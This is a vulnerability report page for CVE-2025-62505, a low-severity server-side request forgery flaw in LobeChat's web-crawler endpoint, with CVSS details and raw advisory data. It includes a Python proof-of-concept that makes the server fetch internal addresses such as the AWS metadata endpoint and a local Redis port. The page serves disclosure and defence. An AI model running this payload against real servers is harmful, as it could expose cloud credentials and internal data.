Security Vulnerability Report
中文
CVE-2025-62505 CVSS 3.0 LOW

CVE-2025-62505

Published: 2025-10-17 19:15:38
Last Modified: 2026-04-15 00:35:42

Description

LobeChat is an open source chat application platform. The web-crawler package in LobeChat version 1.136.1 allows server-side request forgery (SSRF) in the tools.search.crawlPages tRPC endpoint. A client can supply an arbitrary urls array together with impls containing the value naive. The service passes the user URLs to Crawler.crawl and the naive implementation performs a server-side fetch of each supplied URL without validating or restricting internal network addresses (such as localhost, 127.0.0.1, private IP ranges, or cloud instance metadata endpoints). This allows an attacker with a valid user token (or in development mode using a bypass header) to make the server disclose responses from internal HTTP services, potentially exposing internal API data or cloud metadata credentials. Version 1.136.2 fixes the issue. Update to version 1.136.2. No known workarounds exist.

CVSS Details

CVSS Score
3.0
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

lobe-chat < 1.136.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target LobeChat server with the vulnerable crawlPages endpoint TARGET_URL = "http://target-lobechat-instance:3210/trpc/tools.search.crawlPages" # Authentication token (valid user token required) AUTH_TOKEN = "your-auth-token-here" # SSRF payload - targeting internal services payload = { "json": { "urls": [ "http://127.0.0.1:8080/admin", # Internal admin panel "http://169.254.169.254/latest/meta-data/", # AWS metadata endpoint "http://localhost:6379/", # Internal Redis service "http://192.168.1.1/" # Internal network device ], "impls": ["naive"] } } headers = { "Authorization": f"Bearer {AUTH_TOKEN}", "Content-Type": "application/json" } # Send SSRF request response = requests.post(TARGET_URL, json=payload, headers=headers) # The server will fetch the internal URLs and return responses print("SSRF Response:", response.json())

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62505", "sourceIdentifier": "[email protected]", "published": "2025-10-17T19:15:38.167", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "LobeChat is an open source chat application platform. The web-crawler package in LobeChat version 1.136.1 allows server-side request forgery (SSRF) in the tools.search.crawlPages tRPC endpoint. A client can supply an arbitrary urls array together with impls containing the value naive. The service passes the user URLs to Crawler.crawl and the naive implementation performs a server-side fetch of each supplied URL without validating or restricting internal network addresses (such as localhost, 127.0.0.1, private IP ranges, or cloud instance metadata endpoints). This allows an attacker with a valid user token (or in development mode using a bypass header) to make the server disclose responses from internal HTTP services, potentially exposing internal API data or cloud metadata credentials. Version 1.136.2 fixes the issue. Update to version 1.136.2. No known workarounds exist."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:N/A:N", "baseScore": 3.0, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://github.com/lobehub/lobe-chat/commit/8d59583dca16f218b99213d641733d8ba77f182c", "source": "[email protected]"}, {"url": "https://github.com/lobehub/lobe-chat/security/advisories/GHSA-fgx4-p8xf-qhp9", "source": "[email protected]"}]}}